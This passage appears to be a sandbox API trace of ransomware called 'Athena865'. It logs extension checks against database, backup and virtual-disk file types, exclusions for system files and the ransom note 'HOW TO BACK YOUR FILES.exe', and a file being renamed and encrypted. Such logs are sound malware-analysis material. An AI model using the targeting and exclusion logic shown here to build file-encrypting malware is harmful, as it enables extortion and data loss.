[0117.473] lstrlenW (lpString="accdr") returned 5 [0117.474] lstrcmpiW (lpString1="H.LEX", lpString2="accdr") returned 1 [0117.474] lstrlenW (lpString="accdt") returned 5 [0117.474] lstrcmpiW (lpString1="H.LEX", lpString2="accdt") returned 1 [0117.474] lstrlenW (lpString="accdw") returned 5 [0117.474] lstrcmpiW (lpString1="H.LEX", lpString2="accdw") returned 1 [0117.474] lstrlenW (lpString="accft") returned 5 [0117.474] lstrcmpiW (lpString1="H.LEX", lpString2="accft") returned 1 [0117.475] lstrlenW (lpString="adb") returned 3 [0117.477] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0117.478] lstrlenW (lpString="adb") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0117.478] lstrlenW (lpString="ade") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="ade") returned 1 [0117.478] lstrlenW (lpString="adf") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="adf") returned 1 [0117.478] lstrlenW (lpString="adn") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="adn") returned 1 [0117.478] lstrlenW (lpString="adp") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="adp") returned 1 [0117.478] lstrlenW (lpString="alf") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="alf") returned 1 [0117.478] lstrlenW (lpString="ask") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="ask") returned 1 [0117.478] lstrlenW (lpString="btr") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="btr") returned 1 [0117.478] lstrlenW (lpString="cat") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="cat") returned 1 [0117.478] lstrlenW (lpString="cdb") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="cdb") returned 1 [0117.478] lstrlenW (lpString="ckp") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="ckp") returned 1 [0117.478] lstrlenW (lpString="cma") returned 3 [0117.478] lstrcmpiW (lpString1="LEX", lpString2="cma") returned 1 [0117.478] lstrlenW (lpString="cpd") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="cpd") returned 1 [0117.479] lstrlenW (lpString="dacpac") returned 6 [0117.479] lstrcmpiW (lpString1="CH.LEX", lpString2="dacpac") returned -1 [0117.479] lstrlenW (lpString="dad") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dad") returned 1 [0117.479] lstrlenW (lpString="dadiagrams") returned 10 [0117.479] lstrcmpiW (lpString1="B1CACH.LEX", lpString2="dadiagrams") returned -1 [0117.479] lstrlenW (lpString="daschema") returned 8 [0117.479] lstrcmpiW (lpString1="CACH.LEX", lpString2="daschema") returned -1 [0117.479] lstrlenW (lpString="db-journal") returned 10 [0117.479] lstrcmpiW (lpString1="B1CACH.LEX", lpString2="db-journal") returned -1 [0117.479] lstrlenW (lpString="db-shm") returned 6 [0117.479] lstrcmpiW (lpString1="CH.LEX", lpString2="db-shm") returned -1 [0117.479] lstrlenW (lpString="db-wal") returned 6 [0117.479] lstrcmpiW (lpString1="CH.LEX", lpString2="db-wal") returned -1 [0117.479] lstrlenW (lpString="dbc") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dbc") returned 1 [0117.479] lstrlenW (lpString="dbs") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dbs") returned 1 [0117.479] lstrlenW (lpString="dbt") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dbt") returned 1 [0117.479] lstrlenW (lpString="dbv") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dbv") returned 1 [0117.479] lstrlenW (lpString="dbx") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dbx") returned 1 [0117.479] lstrlenW (lpString="dcb") returned 3 [0117.479] lstrcmpiW (lpString1="LEX", lpString2="dcb") returned 1 [0117.479] lstrlenW (lpString="dct") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dct") returned 1 [0117.480] lstrlenW (lpString="dcx") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dcx") returned 1 [0117.480] lstrlenW (lpString="ddl") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="ddl") returned 1 [0117.480] lstrlenW (lpString="dlis") returned 4 [0117.480] lstrcmpiW (lpString1=".LEX", lpString2="dlis") returned -1 [0117.480] lstrlenW (lpString="dp1") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dp1") returned 1 [0117.480] lstrlenW (lpString="dqy") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dqy") returned 1 [0117.480] lstrlenW (lpString="dsk") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dsk") returned 1 [0117.480] lstrlenW (lpString="dsn") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dsn") returned 1 [0117.480] lstrlenW (lpString="dtsx") returned 4 [0117.480] lstrcmpiW (lpString1=".LEX", lpString2="dtsx") returned -1 [0117.480] lstrlenW (lpString="dxl") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="dxl") returned 1 [0117.480] lstrlenW (lpString="eco") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="eco") returned 1 [0117.480] lstrlenW (lpString="ecx") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="ecx") returned 1 [0117.480] lstrlenW (lpString="edb") returned 3 [0117.480] lstrcmpiW (lpString1="LEX", lpString2="edb") returned 1 [0117.480] lstrlenW (lpString="epim") returned 4 [0117.480] lstrcmpiW (lpString1=".LEX", lpString2="epim") returned -1 [0117.481] lstrlenW (lpString="fcd") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fcd") returned 1 [0117.481] lstrlenW (lpString="fdb") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fdb") returned 1 [0117.481] lstrlenW (lpString="fic") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fic") returned 1 [0117.481] lstrlenW (lpString="flexolibrary") returned 12 [0117.481] lstrlenW (lpString="fm5") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fm5") returned 1 [0117.481] lstrlenW (lpString="fmp") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fmp") returned 1 [0117.481] lstrlenW (lpString="fmp12") returned 5 [0117.481] lstrcmpiW (lpString1="H.LEX", lpString2="fmp12") returned 1 [0117.481] lstrlenW (lpString="fmpsl") returned 5 [0117.481] lstrcmpiW (lpString1="H.LEX", lpString2="fmpsl") returned 1 [0117.481] lstrlenW (lpString="fol") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fol") returned 1 [0117.481] lstrlenW (lpString="fp3") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fp3") returned 1 [0117.481] lstrlenW (lpString="fp4") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fp4") returned 1 [0117.481] lstrlenW (lpString="fp5") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fp5") returned 1 [0117.481] lstrlenW (lpString="fp7") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fp7") returned 1 [0117.481] lstrlenW (lpString="fpt") returned 3 [0117.481] lstrcmpiW (lpString1="LEX", lpString2="fpt") returned 1 [0117.481] lstrlenW (lpString="frm") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="frm") returned 1 [0117.482] lstrlenW (lpString="gdb") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0117.482] lstrlenW (lpString="gdb") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0117.482] lstrlenW (lpString="grdb") returned 4 [0117.482] lstrcmpiW (lpString1=".LEX", lpString2="grdb") returned -1 [0117.482] lstrlenW (lpString="gwi") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="gwi") returned 1 [0117.482] lstrlenW (lpString="hdb") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="hdb") returned 1 [0117.482] lstrlenW (lpString="his") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="his") returned 1 [0117.482] lstrlenW (lpString="ib") returned 2 [0117.482] lstrcmpiW (lpString1="EX", lpString2="ib") returned -1 [0117.482] lstrlenW (lpString="idb") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="idb") returned 1 [0117.482] lstrlenW (lpString="ihx") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="ihx") returned 1 [0117.482] lstrlenW (lpString="itdb") returned 4 [0117.482] lstrcmpiW (lpString1=".LEX", lpString2="itdb") returned -1 [0117.482] lstrlenW (lpString="itw") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="itw") returned 1 [0117.482] lstrlenW (lpString="jet") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="jet") returned 1 [0117.482] lstrlenW (lpString="jtx") returned 3 [0117.482] lstrcmpiW (lpString1="LEX", lpString2="jtx") returned 1 [0117.482] lstrlenW (lpString="kdb") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="kdb") returned 1 [0117.483] lstrlenW (lpString="kexi") returned 4 [0117.483] lstrcmpiW (lpString1=".LEX", lpString2="kexi") returned -1 [0117.483] lstrlenW (lpString="kexic") returned 5 [0117.483] lstrcmpiW (lpString1="H.LEX", lpString2="kexic") returned -1 [0117.483] lstrlenW (lpString="kexis") returned 5 [0117.483] lstrcmpiW (lpString1="H.LEX", lpString2="kexis") returned -1 [0117.483] lstrlenW (lpString="lgc") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="lgc") returned -1 [0117.483] lstrlenW (lpString="lwx") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="lwx") returned -1 [0117.483] lstrlenW (lpString="maf") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="maf") returned -1 [0117.483] lstrlenW (lpString="maq") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="maq") returned -1 [0117.483] lstrlenW (lpString="mar") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="mar") returned -1 [0117.483] lstrlenW (lpString="marshal") returned 7 [0117.483] lstrcmpiW (lpString1="ACH.LEX", lpString2="marshal") returned -1 [0117.483] lstrlenW (lpString="mas") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="mas") returned -1 [0117.483] lstrlenW (lpString="mav") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="mav") returned -1 [0117.483] lstrlenW (lpString="maw") returned 3 [0117.483] lstrcmpiW (lpString1="LEX", lpString2="maw") returned -1 [0117.483] lstrlenW (lpString="mdbhtml") returned 7 [0117.483] lstrcmpiW (lpString1="ACH.LEX", lpString2="mdbhtml") returned -1 [0117.484] lstrlenW (lpString="mdn") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mdn") returned -1 [0117.484] lstrlenW (lpString="mdt") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mdt") returned -1 [0117.484] lstrlenW (lpString="mfd") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mfd") returned -1 [0117.484] lstrlenW (lpString="mpd") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mpd") returned -1 [0117.484] lstrlenW (lpString="mrg") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mrg") returned -1 [0117.484] lstrlenW (lpString="mud") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mud") returned -1 [0117.484] lstrlenW (lpString="mwb") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="mwb") returned -1 [0117.484] lstrlenW (lpString="myd") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="myd") returned -1 [0117.484] lstrlenW (lpString="ndf") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="ndf") returned -1 [0117.484] lstrlenW (lpString="nnt") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="nnt") returned -1 [0117.484] lstrlenW (lpString="nrmlib") returned 6 [0117.484] lstrcmpiW (lpString1="CH.LEX", lpString2="nrmlib") returned -1 [0117.484] lstrlenW (lpString="ns2") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="ns2") returned -1 [0117.484] lstrlenW (lpString="ns3") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="ns3") returned -1 [0117.484] lstrlenW (lpString="ns4") returned 3 [0117.484] lstrcmpiW (lpString1="LEX", lpString2="ns4") returned -1 [0117.485] lstrlenW (lpString="nsf") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="nsf") returned -1 [0117.485] lstrlenW (lpString="nv") returned 2 [0117.485] lstrcmpiW (lpString1="EX", lpString2="nv") returned -1 [0117.485] lstrlenW (lpString="nv2") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="nv2") returned -1 [0117.485] lstrlenW (lpString="nwdb") returned 4 [0117.485] lstrcmpiW (lpString1=".LEX", lpString2="nwdb") returned -1 [0117.485] lstrlenW (lpString="nyf") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="nyf") returned -1 [0117.485] lstrlenW (lpString="odb") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0117.485] lstrlenW (lpString="odb") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0117.485] lstrlenW (lpString="oqy") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="oqy") returned -1 [0117.485] lstrlenW (lpString="ora") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="ora") returned -1 [0117.485] lstrlenW (lpString="orx") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="orx") returned -1 [0117.485] lstrlenW (lpString="owc") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="owc") returned -1 [0117.485] lstrlenW (lpString="p96") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="p96") returned -1 [0117.485] lstrlenW (lpString="p97") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="p97") returned -1 [0117.485] lstrlenW (lpString="pan") returned 3 [0117.485] lstrcmpiW (lpString1="LEX", lpString2="pan") returned -1 [0117.486] lstrlenW (lpString="pdb") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="pdb") returned -1 [0117.486] lstrlenW (lpString="pdm") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="pdm") returned -1 [0117.486] lstrlenW (lpString="pnz") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="pnz") returned -1 [0117.486] lstrlenW (lpString="qry") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="qry") returned -1 [0117.486] lstrlenW (lpString="qvd") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="qvd") returned -1 [0117.486] lstrlenW (lpString="rbf") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="rbf") returned -1 [0117.486] lstrlenW (lpString="rctd") returned 4 [0117.486] lstrcmpiW (lpString1=".LEX", lpString2="rctd") returned -1 [0117.486] lstrlenW (lpString="rod") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="rod") returned -1 [0117.486] lstrlenW (lpString="rodx") returned 4 [0117.486] lstrcmpiW (lpString1=".LEX", lpString2="rodx") returned -1 [0117.486] lstrlenW (lpString="rpd") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="rpd") returned -1 [0117.486] lstrlenW (lpString="rsd") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="rsd") returned -1 [0117.486] lstrlenW (lpString="sas7bdat") returned 8 [0117.486] lstrcmpiW (lpString1="CACH.LEX", lpString2="sas7bdat") returned -1 [0117.486] lstrlenW (lpString="sbf") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="sbf") returned -1 [0117.486] lstrlenW (lpString="scx") returned 3 [0117.486] lstrcmpiW (lpString1="LEX", lpString2="scx") returned -1 [0117.487] lstrlenW (lpString="sdb") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="sdb") returned -1 [0117.487] lstrlenW (lpString="sdc") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="sdc") returned -1 [0117.487] lstrlenW (lpString="sdf") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="sdf") returned -1 [0117.487] lstrlenW (lpString="sis") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="sis") returned -1 [0117.487] lstrlenW (lpString="spq") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="spq") returned -1 [0117.487] lstrlenW (lpString="te") returned 2 [0117.487] lstrcmpiW (lpString1="EX", lpString2="te") returned -1 [0117.487] lstrlenW (lpString="teacher") returned 7 [0117.487] lstrcmpiW (lpString1="ACH.LEX", lpString2="teacher") returned -1 [0117.487] lstrlenW (lpString="tmd") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="tmd") returned -1 [0117.487] lstrlenW (lpString="tps") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="tps") returned -1 [0117.487] lstrlenW (lpString="trc") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0117.487] lstrlenW (lpString="trc") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0117.487] lstrlenW (lpString="trm") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="trm") returned -1 [0117.487] lstrlenW (lpString="udb") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="udb") returned -1 [0117.487] lstrlenW (lpString="udl") returned 3 [0117.487] lstrcmpiW (lpString1="LEX", lpString2="udl") returned -1 [0117.488] lstrlenW (lpString="usr") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="usr") returned -1 [0117.488] lstrlenW (lpString="v12") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="v12") returned -1 [0117.488] lstrlenW (lpString="vis") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="vis") returned -1 [0117.488] lstrlenW (lpString="vpd") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="vpd") returned -1 [0117.488] lstrlenW (lpString="vvv") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="vvv") returned -1 [0117.488] lstrlenW (lpString="wdb") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="wdb") returned -1 [0117.488] lstrlenW (lpString="wmdb") returned 4 [0117.488] lstrcmpiW (lpString1=".LEX", lpString2="wmdb") returned -1 [0117.488] lstrlenW (lpString="wrk") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="wrk") returned -1 [0117.488] lstrlenW (lpString="xdb") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="xdb") returned -1 [0117.488] lstrlenW (lpString="xld") returned 3 [0117.488] lstrcmpiW (lpString1="LEX", lpString2="xld") returned -1 [0117.488] lstrlenW (lpString="xmlff") returned 5 [0117.488] lstrcmpiW (lpString1="H.LEX", lpString2="xmlff") returned -1 [0117.488] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.Athena865") returned 78 [0117.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.athena865"), dwFlags=0x1) returned 1 [0117.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.490] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1536) returned 1 [0117.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54eb28 [0117.491] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ebb0) returned 1 [0117.491] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.491] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.491] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x900, lpName=0x0) returned 0x154 [0117.506] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x900) returned 0x100000 [0117.516] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ebb0) returned 1 [0117.519] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.519] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.520] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0117.520] CloseHandle (hObject=0x154) returned 1 [0117.520] CloseHandle (hObject=0x17c) returned 1 [0117.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x4f0000) returned 1 [0117.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.520] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0117.520] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.520] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".") returned 1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="..") returned 1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="windows") returned -1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="bootmgr") returned 1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="temp") returned -1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="pagefile.sys") returned -1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="boot") returned 1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="ids.txt") returned 1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="ntuser.dat") returned -1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="perflogs") returned -1 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="MSBuild") returned -1 [0117.521] lstrlenW (lpString="MSB1CORE.DLL") returned 12 [0117.521] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSB1CORE.DLL" | out: lpString1="MSB1CORE.DLL") returned="MSB1CORE.DLL" [0117.521] lstrlenW (lpString="MSB1CORE.DLL") returned 12 [0117.521] lstrlenW (lpString="Athena865") returned 9 [0117.521] lstrcmpiW (lpString1="1CORE.DLL", lpString2="Athena865") returned -1 [0117.521] lstrlenW (lpString=".dll") returned 4 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".dll") returned 1 [0117.521] lstrlenW (lpString=".lnk") returned 4 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".lnk") returned 1 [0117.521] lstrlenW (lpString=".ini") returned 4 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".ini") returned 1 [0117.521] lstrlenW (lpString=".sys") returned 4 [0117.521] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".sys") returned 1 [0117.521] lstrlenW (lpString="MSB1CORE.DLL") returned 12 [0117.521] lstrlenW (lpString="bak") returned 3 [0117.521] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0117.521] lstrlenW (lpString="ba_") returned 3 [0117.521] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0117.522] lstrlenW (lpString="dbb") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0117.522] lstrlenW (lpString="vmdk") returned 4 [0117.522] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0117.522] lstrlenW (lpString="rar") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0117.522] lstrlenW (lpString="zip") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0117.522] lstrlenW (lpString="tgz") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0117.522] lstrlenW (lpString="vbox") returned 4 [0117.522] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0117.522] lstrlenW (lpString="vdi") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0117.522] lstrlenW (lpString="vhd") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0117.522] lstrlenW (lpString="vhdx") returned 4 [0117.522] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0117.522] lstrlenW (lpString="avhd") returned 4 [0117.522] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0117.522] lstrlenW (lpString="db") returned 2 [0117.522] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0117.522] lstrlenW (lpString="db2") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0117.522] lstrlenW (lpString="db3") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0117.522] lstrlenW (lpString="dbf") returned 3 [0117.522] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0117.522] lstrlenW (lpString="mdf") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0117.523] lstrlenW (lpString="mdb") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0117.523] lstrlenW (lpString="sql") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0117.523] lstrlenW (lpString="sqlite") returned 6 [0117.523] lstrcmpiW (lpString1="RE.DLL", lpString2="sqlite") returned -1 [0117.523] lstrlenW (lpString="sqlite3") returned 7 [0117.523] lstrcmpiW (lpString1="ORE.DLL", lpString2="sqlite3") returned -1 [0117.523] lstrlenW (lpString="sqlitedb") 